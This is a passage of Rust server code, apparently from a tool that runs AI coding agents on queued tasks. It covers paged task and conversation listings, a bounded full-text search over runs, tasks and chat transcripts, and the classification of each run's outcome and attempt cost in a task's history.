5376        return Err(ApiError::bad_request("Invalid list cursor"));
5377    }
5378    let end = if offset == 0 {
5379        initial_end
5380    } else {
5381        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5382    };
5383    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5384    Ok((ids[offset..end].to_vec(), next))
5385}
5386
5387async fn queue_page(
5388    State(ui): State<Arc<Ui>>,
5389    Query(q): Query<PageQuery>,
5390) -> ApiResult<Json<StorePage<TaskView>>> {
5391    blocking(move || {
5392        let (ids, next) = page_ids(&ui, false, q)?;
5393        let tasks: Vec<_> = ids
5394            .into_iter()
5395            .filter_map(|id| ui.queue.get(&id).ok())
5396            .collect();
5397        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5398        let rows = tasks
5399            .into_iter()
5400            .map(|task| TaskView::with_inventory(task, &inv))
5401            .collect();
5402        Ok(Json(StorePage { rows, next }))
5403    })
5404    .await
5405}
5406
5407/// Fixed-size wire projection. Agent timestamps stay in the server index so
5408/// exact unread counts do not require sending an ever-growing turn list.
5409#[derive(Debug, Clone, Serialize)]
5410struct TalkListView {
5411    title: Option<talk::ChatTitle>,
5412    id: String,
5413    repo: PathBuf,
5414    agent: String,
5415    status: talk::TalkStatus,
5416    turns: Vec<TalkListTurn>,
5417    turn_count: usize,
5418    unread_count: usize,
5419    context: talk::ContextUsage,
5420    #[serde(skip)]
5421    agent_times: Vec<Timestamp>,
5422    thinking: bool,
5423    created_at: Timestamp,
5424    updated_at: Timestamp,
5425}
5426
5427#[derive(Debug, Clone, Serialize)]
5428struct TalkListTurn {
5429    who: talk::Who,
5430    at: Timestamp,
5431    body: String,
5432}
5433
5434fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5435    let reads: HashMap<String, Timestamp> = headers
5436        .get("x-talk-reads")
5437        .and_then(|v| v.to_str().ok())
5438        .and_then(|v| serde_json::from_str(v).ok())
5439        .unwrap_or_default();
5440    let mut index = ui
5441        .monitor
5442        .talk_index
5443        .lock()
5444        .unwrap_or_else(PoisonError::into_inner);
5445    // Bound memory independently of the number of conversations ever opened.
5446    if index.len() > 1000 {
5447        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5448        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5449        if index.len() > 1000 {
5450            index.retain(|id, _| keep.contains(id.as_str()));
5451        }
5452    }
5453    ids.into_iter()
5454        .filter_map(|id| {
5455            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5456            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5457                let talk = ui.talks.get(&id).ok()?;
5458                #[cfg(test)]
5459                ui.monitor
5460                    .talk_parses
5461                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5462                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5463                let last = talk.turns.len().checked_sub(1);
5464                let turns = talk
5465                    .turns
5466                    .iter()
5467                    .enumerate()
5468                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5469                    .map(|(_, t)| TalkListTurn {
5470                        who: t.who,
5471                        at: t.at,
5472                        body: t
5473                            .body
5474                            .lines()
5475                            .next()
5476                            .unwrap_or_default()
5477                            .chars()
5478                            .take(240)
5479                            .collect(),
5480                    })
5481                    .collect();
5482                let row = TalkListView {
5483                    title: talk.title.clone(),
5484                    agent_times: talk
5485                        .turns
5486                        .iter()
5487                        .filter(|t| t.who == talk::Who::Agent)
5488                        .map(|t| t.at)
5489                        .collect(),
5490                    turn_count: talk.turns.len(),
5491                    unread_count: 0,
5492                    context: talk::context_usage(&talk, None),
5493                    turns,
5494                    thinking: false,
5495                    id: talk.id,
5496                    repo: talk.repo,
5497                    agent: talk.agent,
5498                    status: talk.status,
5499                    created_at: talk.created_at,
5500                    updated_at: talk.updated_at,
5501                };
5502                index.insert(id.clone(), (identity, row));
5503            }
5504            let row = &index.get(&id)?.1;
5505            let mut row = TalkListView {
5506                title: row.title.clone(),
5507                unread_count: row
5508                    .agent_times
5509                    .iter()
5510                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5511                    .count(),
5512                agent_times: Vec::new(),
5513                id: row.id.clone(),
5514                repo: row.repo.clone(),
5515                agent: row.agent.clone(),
5516                status: row.status,
5517                context: row.context.clone(),
5518                turns: row.turns.clone(),
5519                turn_count: row.turn_count,
5520                thinking: false,
5521                created_at: row.created_at,
5522                updated_at: row.updated_at,
5523            };
5524            row.thinking = ui.is_thinking(&id);
5525            Some(row)
5526        })
5527        .collect()
5528}
5529
5530async fn talks_page(
5531    State(ui): State<Arc<Ui>>,
5532    Query(q): Query<PageQuery>,
5533    headers: header::HeaderMap,
5534) -> ApiResult<Json<StorePage<TalkListView>>> {
5535    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5536        let (ids, next) = page_ids(&ui, true, q)?;
5537        Ok(Json(StorePage {
5538            rows: talk_rows(&ui, ids, &headers),
5539            next,
5540        }))
5541    })
5542    .await
5543}
5544
5545async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5546    blocking(move || {
5547        let tasks = ui.indexed_tasks()?;
5548        Ok(Json(TaskCountsView::from(
5549            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5550        )))
5551    })
5552    .await
5553}
5554
5555/// Most hits one search returns. The rest are counted in `total`.
5556const SEARCH_MAX_HITS: usize = 100;
5557/// Longest query, in characters, and most terms it is split into.
5558const SEARCH_MAX_QUERY: usize = 200;
5559const SEARCH_MAX_TERMS: usize = 8;
5560/// Characters of context kept before the first hit, and after it.
5561const SNIPPET_BEFORE: usize = 50;
5562const SNIPPET_AFTER: usize = 110;
5563
5564/// `?scope=runs|tasks&q=...`
5565#[derive(Debug, Deserialize)]
5566struct SearchQuery {
5567    #[serde(default)]
5568    scope: String,
5569    #[serde(default)]
5570    q: String,
5571}
5572
5573/// One piece of a snippet. `hit` pieces are what matched; the client renders
5574/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5575#[derive(Debug, Serialize, PartialEq, Eq)]
5576struct SnippetPart {
5577    text: String,
5578    hit: bool,
5579}
5580
5581/// Position plus transcript evidence, without changing the saved chat schema.
5582#[derive(Debug, Serialize)]
5583struct ChatSearchTarget {
5584    turn: usize,
5585    message: usize,
5586    at: String,
5587    text: String,
5588}
5589
5590fn chat_text_key(body: &str) -> String {
5591    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5592        (hash ^ u32::from(c)).wrapping_mul(16777619)
5593    });
5594    format!("{hash:08x}:{}", body.chars().count())
5595}
5596
5597#[derive(Debug, Serialize)]
5598struct SearchHit {
5599    #[serde(skip_serializing_if = "Option::is_none")]
5600    target: Option<ChatSearchTarget>,
5601    id: String,
5602    /// The name of the field the snippet was cut from.
5603    field: String,
5604    snippet: Vec<SnippetPart>,
5605    /// The run's list row, so the page can apply its state / section / repo
5606    /// filters to a hit outside the loaded window. Absent for tasks and for a
5607    /// run record the list view cannot read.
5608    #[serde(skip_serializing_if = "Option::is_none")]
5609    run: Option<RunSummary>,
5610}
5611
5612#[derive(Debug, Serialize)]
5613struct SearchView {
5614    scope: String,
5615    q: String,
5616    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5617    hits: Vec<SearchHit>,
5618    /// Every match, hits beyond the cap included.
5619    total: usize,
5620    truncated: bool,
5621    /// Runs whose `run.json` could not be parsed at all. They were not
5622    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5623    unreadable: usize,
5624}
5625
5626/// The text leaves of a JSON document, with the name of the field each sits
5627/// under. Keys and numbers are skipped: they are structure, not prose.
5628fn text_leaves<'a>(
5629    value: &'a serde_json::Value,
5630    field: &'a str,
5631    out: &mut Vec<(&'a str, &'a str)>,
5632) {
5633    match value {
5634        serde_json::Value::String(s) => out.push((field, s)),
5635        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5636        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5637        _ => {}
5638    }
5639}
5640
5641/// Lower-case one character without changing how many there are, so indices
5642/// in the lowered text are indices in the original.
5643fn fold_char(c: char) -> char {
5644    c.to_lowercase().next().unwrap_or(c)
5645}
5646
5647/// Split a query into its lower-cased terms.
5648fn search_terms(q: &str) -> Vec<String> {
5649    let mut terms: Vec<String> = Vec::new();
5650    for t in q.split_whitespace() {
5651        let t = t.to_lowercase();
5652        if !terms.contains(&t) {
5653            terms.push(t);
5654        }
5655    }
5656    terms
5657}
5658
5659/// Match `terms` (all of them, anywhere in the document) against the leaves
5660/// and cut a snippet around the first hit. `None` when a term is missing.
5661fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5662    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5663    let mut first: Option<usize> = None;
5664    for term in terms {
5665        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5666        first = Some(first.map_or(at, |f| f.min(at)));
5667    }
5668    // The leaf holding the earliest hit of any term is where the snippet is cut.
5669    let (field, text) = leaves[first?];
5670    Some(SearchHit {
5671        id: String::new(),
5672        target: None,
5673        field: field.to_owned(),
5674        snippet: snippet_of(text, terms),
5675        run: None,
5676    })
5677}
5678
5679/// A window of `text` around the first occurrence of any term, whitespace
5680/// collapsed, with every term occurrence inside the window marked.
5681fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5682    let chars: Vec<char> = text.chars().collect();
5683    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5684    let needles: Vec<Vec<char>> = terms
5685        .iter()
5686        .map(|t| t.chars().map(fold_char).collect())
5687        .collect();
5688    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5689        let mut best: Option<(usize, usize)> = None;
5690        for n in needles.iter().filter(|n| !n.is_empty()) {
5691            // `to` bounds where a match may start; it may run past `to` (the
5692            // caller clips what it shows). A term longer than the field cannot
5693            // occur in it (it may live in another leaf of the document).
5694            if n.len() > chars.len() || to == 0 {
5695                continue;
5696            }
5697            let last = (to - 1).min(chars.len() - n.len());
5698            if from > last {
5699                continue;
5700            }
5701            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5702                && best.is_none_or(|(b, _)| i < b)
5703            {
5704                best = Some((i, i + n.len()));
5705            }
5706        }
5707        best
5708    };
5709    let Some((start, _)) = find(0, chars.len()) else {
5710        // Matched only through a case mapping that changes length: show the head.
5711        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5712        return vec![SnippetPart {
5713            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5714            hit: false,
5715        }];
5716    };
5717    let lo = start.saturating_sub(SNIPPET_BEFORE);
5718    let hi = (start + SNIPPET_AFTER).min(chars.len());
5719    let mut parts: Vec<SnippetPart> = Vec::new();
5720    let mut push = |s: &[char], hit: bool| {
5721        if s.is_empty() {
5722            return;
5723        }
5724        let text: String = s.iter().collect();
5725        match parts.last_mut() {
5726            Some(p) if p.hit == hit => p.text.push_str(&text),
5727            _ => parts.push(SnippetPart { text, hit }),
5728        }
5729    };
5730    if lo > 0 {
5731        push(&['\u{2026}'], false);
5732    }
5733    let mut at = lo;
5734    while at < hi {
5735        match find(at, hi) {
5736            Some((s, e)) => {
5737                push(&chars[at..s], false);
5738                // A match running past the window is shown up to its edge.
5739                let shown = e.min(hi);
5740                push(&chars[s..shown], true);
5741                at = shown;
5742            }
5743            None => {
5744                push(&chars[at..hi], false);
5745                at = hi;
5746            }
5747        }
5748    }
5749    if hi < chars.len() {
5750        push(&['\u{2026}'], false);
5751    }
5752    // Collapse whitespace (newlines in an instruction) without disturbing the
5753    // hit boundaries.
5754    let mut prev_space = false;
5755    for p in &mut parts {
5756        let mut out = String::with_capacity(p.text.len());
5757        for c in p.text.chars() {
5758            if c.is_whitespace() {
5759                if !prev_space {
5760                    out.push(' ');
5761                }
5762                prev_space = true;
5763            } else {
5764                out.push(c);
5765                prev_space = false;
5766            }
5767        }
5768        p.text = out;
5769    }
5770    parts.retain(|p| !p.text.is_empty());
5771    parts
5772}
5773
5774/// The search over `docs` (id, document), newest first, capped.
5775fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5776where
5777    I: IntoIterator<Item = (String, serde_json::Value)>,
5778{
5779    for (id, doc) in docs {
5780        let mut leaves = Vec::new();
5781        // The id is text an operator types too, and it is a map key on disk,
5782        // not a leaf.
5783        leaves.push(("id", id.as_str()));
5784        text_leaves(&doc, "", &mut leaves);
5785        if let Some(mut hit) = search_document(terms, &leaves) {
5786            view.total += 1;
5787            if view.hits.len() < SEARCH_MAX_HITS {
5788                hit.id = id;
5789                view.hits.push(hit);
5790            }
5791        }
5792    }
5793    view.truncated = view.total > view.hits.len();
5794}
5795
5796/// What a conversation is searched by: its list title and each turn's text,
5797/// under their sender labels so the snippet says who spoke. Nothing else
5798/// (session ids, repo paths, usage, drafts) is part of the document.
5799///
5800/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5801fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5802    let opener = talk
5803        .title
5804        .as_ref()
5805        .filter(|t| !t.text.is_empty())
5806        .map(|t| t.text.as_str())
5807        .or_else(|| {
5808            talk.turns
5809                .iter()
5810                .find(|t| t.who == talk::Who::Operator)
5811                .map(|t| t.body.as_str())
5812        })
5813        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5814        .unwrap_or("");
5815    let title: String = if opener.chars().count() > 96 {
5816        opener.chars().take(95).chain(['\u{2026}']).collect()
5817    } else {
5818        opener.to_owned()
5819    };
5820    let turns: Vec<serde_json::Value> = talk
5821        .turns
5822        .iter()
5823        .flat_map(|t| {
5824            let label = |message| match talk::sender(t, message) {
5825                talk::Sender::External => "external",
5826                _ => match t.who {
5827                    talk::Who::Operator => "operator",
5828                    talk::Who::Agent => "agent",
5829                },
5830            };
5831            if t.messages.is_empty() {
5832                vec![serde_json::json!({ label(None): t.body })]
5833            } else {
5834                t.messages
5835                    .iter()
5836                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
5837                    .collect()
5838            }
5839        })
5840        .collect();
5841    serde_json::json!({ "title": title, "turns": turns })
5842}
5843
5844fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5845    let doc = talk_search_doc(talk);
5846    let mut leaves = vec![("id", talk.id.as_str())];
5847    text_leaves(&doc, "", &mut leaves);
5848    let mut hit = search_document(terms, &leaves)?;
5849    // Use exactly the leaf that supplied the snippet, including title/id hits.
5850    let leaf = leaves
5851        .iter()
5852        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5853    let messages: Vec<_> = talk
5854        .turns
5855        .iter()
5856        .enumerate()
5857        .flat_map(|(i, turn)| {
5858            let bodies: Vec<&str> = if turn.messages.is_empty() {
5859                vec![turn.body.as_str()]
5860            } else {
5861                turn.messages.iter().map(|m| m.body.as_str()).collect()
5862            };
5863            bodies
5864                .into_iter()
5865                .enumerate()
5866                .map(move |(j, body)| (i, j, turn, body))
5867        })
5868        .collect();
5869    let target = leaf
5870        .checked_sub(2)
5871        .and_then(|i| messages.get(i))
5872        .or_else(|| {
5873            // An unsaved title is the opener's first nonempty line, so its
5874            // snippet still identifies a transcript message. Saved titles do not.
5875            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5876                return None;
5877            }
5878            let (index, opener) = talk
5879                .turns
5880                .iter()
5881                .enumerate()
5882                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5883            let line = opener
5884                .body
5885                .lines()
5886                .map(str::trim)
5887                .find(|line| !line.is_empty())?;
5888            messages.iter().find(|(i, _, _, body)| {
5889                *i == index
5890                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5891            })
5892        });
5893    if let Some((i, j, turn, body)) = target {
5894        hit.target = Some(ChatSearchTarget {
5895            turn: *i,
5896            message: *j,
5897            at: turn.at.to_string(),
5898            text: chat_text_key(body),
5899        });
5900    }
5901    hit.id = talk.id.clone();
5902    Some(hit)
5903}
5904
5905/// Read-only full-text search over every run's `run.json`, every task or every
5906/// conversation (title and transcript).
5907///
5908/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5909/// record from an older schema still searches; only a file that is not JSON
5910/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5911async fn search_get(
5912    State(ui): State<Arc<Ui>>,
5913    Query(q): Query<SearchQuery>,
5914) -> ApiResult<Json<SearchView>> {
5915    let query = q.q.trim().to_owned();
5916    if query.is_empty() {
5917        return Err(ApiError::bad_request("q must not be empty"));
5918    }
5919    if query.chars().count() > SEARCH_MAX_QUERY {
5920        return Err(ApiError::bad_request(format!(
5921            "q is longer than {SEARCH_MAX_QUERY} characters"
5922        )));
5923    }
5924    let terms = search_terms(&query);
5925    if terms.len() > SEARCH_MAX_TERMS {
5926        return Err(ApiError::bad_request(format!(
5927            "q has more than {SEARCH_MAX_TERMS} terms"
5928        )));
5929    }
5930    let scope = q.scope;
5931    if scope != "runs" && scope != "tasks" && scope != "chats" {
5932        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5933    }
5934    blocking(move || {
5935        let mut view = SearchView {
5936            scope: scope.clone(),
5937            q: query,
5938            hits: Vec::new(),
5939            total: 0,
5940            truncated: false,
5941            unreadable: 0,
5942        };
5943        if scope == "runs" {
5944            let mut unreadable = 0;
5945            // One run.json is read, matched and dropped at a time; nothing
5946            // holds the whole history. The scan runs to the end even past the
5947            // hit cap so `total` and `unreadable` stay exact.
5948            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5949                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5950                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5951                    Some(v) => Some((id, v)),
5952                    None => {
5953                        unreadable += 1;
5954                        None
5955                    }
5956                }
5957            });
5958            search_docs(&terms, docs, &mut view);
5959            view.unreadable = unreadable;
5960            // Only the capped hits get a row: the filters need a run's state,
5961            // and reading every match would be the whole history again.
5962            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5963            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5964            for hit in &mut view.hits {
5965                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5966                    hit.run = summarize(
5967                        [state],
5968                        &open_runs,
5969                        &claimed,
5970                        &superseded,
5971                        |p| probe.borrow_mut().status(p),
5972                        |p| probe.borrow_mut().started_at(p),
5973                    )
5974                    .pop();
5975                }
5976            }
5977        } else if scope == "chats" {
5978            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5979            view.unreadable = unreadable;
5980            for talk in &talks {
5981                if let Some(hit) = search_chat(&terms, talk) {
5982                    view.total += 1;
5983                    if view.hits.len() < SEARCH_MAX_HITS {
5984                        view.hits.push(hit);
5985                    }
5986                }
5987            }
5988            view.truncated = view.total > view.hits.len();
5989        } else {
5990            let docs = ui.queue.list().into_iter().filter_map(|t| {
5991                let mut v = serde_json::to_value(&t).ok()?;
5992                // `source` serialises as a tagged object; the label is what
5993                // the operator reads ("human", "chat@a1b2").
5994                if let Some(o) = v.as_object_mut() {
5995                    o.insert("filed_by".to_owned(), t.source.label().into());
5996                }
5997                Some((t.id, v))
5998            });
5999            search_docs(&terms, docs, &mut view);
6000        }
6001        Ok(Json(view))
6002    })
6003    .await
6004}
6005
6006/// One attempt in a task's history, as the task page lists it.
6007#[derive(Debug, Serialize)]
6008struct TaskRunView {
6009    activity: Option<String>,
6010    /// 1-based position in [`Task::runs`].
6011    n: usize,
6012    id: String,
6013    short: String,
6014    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6015    kind: &'static str,
6016    /// The run's own status string; `None` when its record cannot be read.
6017    status: Option<&'static str>,
6018    /// Whether this build could read the run's record. Counted, never hidden.
6019    readable: bool,
6020    /// A verdict from a collapsed panel is provisional, never a decision.
6021    provisional: bool,
6022    /// What kind of attempt this was, in one line.
6023    description: String,
6024    /// How it ended and why the task moved on (or what it is doing now).
6025    outcome: String,
6026    created_at: Option<Timestamp>,
6027    pr: Option<String>,
6028    /// Why this pass ended, classified once; the flowchart is built from it.
6029    exit: RunExit,
6030    /// What the pass did to the task's attempt budget.
6031    attempt: AttemptCost,
6032    /// Edge wording for leaving this entry; names the recorded cause when
6033    /// there is one.
6034    exit_label: String,
6035    /// The position of a later entry for the same run: this entry is an
6036    /// earlier pass of it.
6037    later_pass: Option<usize>,
6038    /// Which pass over the run this entry is (1-based) and how many entries
6039    /// the task lists for the run. Counted from the list, so known even for
6040    /// a legacy record.
6041    pass_n: usize,
6042    passes_of_run: usize,
6043    /// What the run recorded about this pass; `None` for a record from before
6044    /// passes were kept, whose cause stays unknown.
6045    pass: Option<PassView>,
6046    /// The branch a review-only run reopened.
6047    branch: Option<String>,
6048    /// The badge word when it differs from `status` (`stale` / `superseded`);
6049    /// filled by the task route, which can see liveness and later attempts.
6050    badge: Option<String>,
6051}
6052
6053/// One recorded pass over a run, for the wire.
6054#[derive(Debug, Clone, PartialEq, Serialize)]
6055struct PassView {
6056    index: usize,
6057    resumed: bool,
6058    started_at: Timestamp,
6059    ended_at: Option<Timestamp>,
6060    /// `open`, `parked` or `unrecorded`.
6061    end: &'static str,
6062    cause: Option<crate::run::ParkCause>,
6063    /// One line: why it stopped, or that nobody recorded why.
6064    label: String,
6065    /// What the task recorded for this pass; `None` when it was not settled
6066    /// (or settled by a build that kept no record).
6067    cost: Option<crate::queue::PassCost>,
6068}
6069
6070impl PassView {
6071    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6072        use crate::run::PassEnd;
6073        let (end, cause, label) = match &p.end {
6074            None => ("open", None, "still open".to_owned()),
6075            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6076            Some(PassEnd::Unrecorded) => (
6077                "unrecorded",
6078                None,
6079                "stopped without recording why (a crash, a kill or a restart; not known)"
6080                    .to_owned(),
6081            ),
6082        };
6083        Self {
6084            index: p.index,
6085            resumed: p.resumed,
6086            started_at: p.started_at,
6087            ended_at: p.ended_at,
6088            end,
6089            cause,
6090            label,
6091            cost: settled.map(|t| t.cost),
6092        }
6093    }
6094}
6095
6096/// How one pass over a run ended, as far as the task's life is concerned.
6097#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6098#[serde(rename_all = "snake_case")]
6099enum RunExit {
6100    Unreadable,
6101    /// An earlier pass of a run id that appears again: it stopped short.
6102    Interrupted,
6103    Parked,
6104    MachineBlocked,
6105    QuotaStall,
6106    /// Stalled on a resumed pass with quota losses on record: they may be
6107    /// left over from an earlier pass, so whether this one was refunded is
6108    /// not knowable.
6109    ResumedQuotaStall,
6110    Merged,
6111    Ready,
6112    Superseded,
6113    /// The change was already on the base under other commits: the task
6114    /// finished without this run landing anything.
6115    AlreadyInBase,
6116    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6117    Stalled,
6118    /// Blocked / no-op with a pull request left open: held for a person.
6119    HeldWithPr,
6120    NoopHeld,
6121    /// Blocked or failed: the attempt is spent and the task retries or holds.
6122    Spent,
6123    InProgress,
6124}
6125
6126#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6127#[serde(rename_all = "snake_case")]
6128enum AttemptCost {
6129    Spent,
6130    Refunded,
6131    None,
6132    /// Cannot be told from the records that remain.
6133    Unknown,
6134}
6135
6136impl RunExit {
6137    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6138        let Some(s) = s else {
6139            return Self::Unreadable;
6140        };
6141        let status = s.status;
6142        if resumed_later {
6143            Self::Interrupted
6144        } else if s.parked {
6145            Self::Parked
6146        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6147            Self::MachineBlocked
6148        } else if !status.done() {
6149            Self::InProgress
6150        } else if matches!(status, RunStatus::Merged) {
6151            Self::Merged
6152        } else if matches!(status, RunStatus::Ready) {
6153            Self::Ready
6154        } else if matches!(status, RunStatus::Superseded) {
6155            Self::Superseded
6156        } else if matches!(status, RunStatus::AlreadyInBase) {
6157            Self::AlreadyInBase
6158        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6159            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6160        {
6161            if resumed {
6162                Self::ResumedQuotaStall
6163            } else {
6164                Self::QuotaStall
6165            }
6166        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6167            Self::HeldWithPr
6168        } else if matches!(status, RunStatus::VerifiedNoop) {
6169            Self::NoopHeld
6170        } else if matches!(status, RunStatus::Stalled) {
6171            Self::Stalled
6172        } else {
6173            Self::Spent
6174        }
6175    }
6176
6177    fn cost(self) -> AttemptCost {
6178        match self {
6179            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6180            Self::Merged
6181            | Self::Ready
6182            | Self::Stalled
6183            | Self::HeldWithPr
6184            | Self::NoopHeld
6185            | Self::Spent => AttemptCost::Spent,
6186            Self::InProgress => AttemptCost::None,
6187            Self::AlreadyInBase => AttemptCost::Refunded,
6188            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6189                AttemptCost::Unknown
6190            }
6191        }
6192    }
6193
6194    /// Short edge wording for leaving a run this way.
6195    fn edge_label(self, status: Option<&str>) -> String {
6196        match self {
6197            Self::Unreadable => "record unreadable".to_owned(),
6198            Self::Interrupted => "interrupted before the run finished".to_owned(),
6199            Self::Parked => "parked, attempt refunded".to_owned(),
6200            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6201            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6202            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6203            Self::Merged => "merged".to_owned(),
6204            Self::Ready => "ready, not merged".to_owned(),
6205            Self::Superseded => "superseded by a later attempt".to_owned(),
6206            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6207            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6208            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6209            Self::NoopHeld => "verified no-op".to_owned(),
6210            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6211            Self::InProgress => "in progress".to_owned(),
6212        }
6213    }
6214
6215    /// Does a task in `end` follow from a run that ended this way? When not,
6216    /// somebody closed or held the task by hand.
6217    fn explains(self, end: TaskStatus) -> bool {
6218        match self {
6219            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6220            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6221            Self::Unreadable | Self::Superseded | Self::Ready => true,
6222            _ => end != TaskStatus::Done,
6223        }
6224    }
6225}
6226
6227/// `GET /api/queue/{id}` - one task with every attempt it went through.
6228#[derive(Debug, Serialize)]
6229struct TaskDetailView {
6230    #[serde(flatten)]
6231    task: TaskView,
6232    /// Task override, or the default daemon budget when inherited.
6233    /// A separate loop's command-line limit is not visible from here.
6234    max_attempts: usize,
6235    history: Vec<TaskRunView>,
6236    /// Entries in `history`: passes over runs, not distinct runs and not
6237    /// attempts consumed (`task.attempts`).
6238    passes_total: usize,
6239    /// Distinct runs those passes belong to.
6240    runs_distinct: usize,
6241    flow: FlowView,
6242    /// Set for a follow-up task; see [`followup_origin`].
6243    followup_origin: Option<FollowUpOrigin>,
6244    /// How many entries of `history` could not be read.
6245    runs_unreadable: usize,
6246    /// Why the attempt count can be lower than the number of runs.
6247    attempts_note: &'static str,
6248}
6249
6250const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6251and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6252on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6253the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6254
6255/// The branch a review-only run reopened, read off the instruction
6256/// `Runner::open_review` writes.
6257fn review_branch_of(instruction: &str) -> Option<&str> {
6258    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6259    rest.split('`').next().filter(|b| !b.is_empty())
6260}
6261
6262/// Where an entry sits in a task's run list.
6263#[derive(Default)]
6264struct RunSlot<'a> {
6265    /// 1-based position.
6266    n: usize,
6267    /// The same run id appeared earlier: this pass resumed it.
6268    resumed: bool,
6269    /// Position of a later pass over the same run id, if any.
6270    resumed_later: Option<usize>,
6271    /// The previous distinct run and how it ended, for the retry note.
6272    prior: Option<(&'a str, RunStatus)>,
6273    last: bool,
6274    /// This pass as the run recorded it, when it did.
6275    pass: Option<&'a crate::run::RunPass>,
6276    /// What the task recorded when it settled this pass.
6277    settled: Option<&'a crate::queue::TaskPass>,
6278    /// 1-based position among the task's entries for this run, and their count.
6279    pass_n: usize,
6280    passes_of_run: usize,
6281}
6282
6283/// Describe one entry of a task's run list. Pure: everything it needs is on
6284/// the run and the task, so it is asserted without a server.
6285fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6286    let RunSlot {
6287        n,
6288        resumed,
6289        resumed_later,
6290        prior,
6291        last,
6292        pass,
6293        settled,
6294        pass_n,
6295        passes_of_run,
6296    } = at;
6297    let short = run::short_of(id).to_owned();
6298    let Some(s) = state else {
6299        return TaskRunView {
6300            activity: None,
6301            n,
6302            id: id.to_owned(),
6303            short,
6304            kind: "unknown",
6305            status: None,
6306            readable: false,
6307            provisional: false,
6308            description:
6309                "This run's record could not be read by this build (written by a different \
6310                          magi, or removed), so what kind of attempt it was is unknown."
6311                    .to_owned(),
6312            outcome: String::new(),
6313            created_at: None,
6314            pr: None,
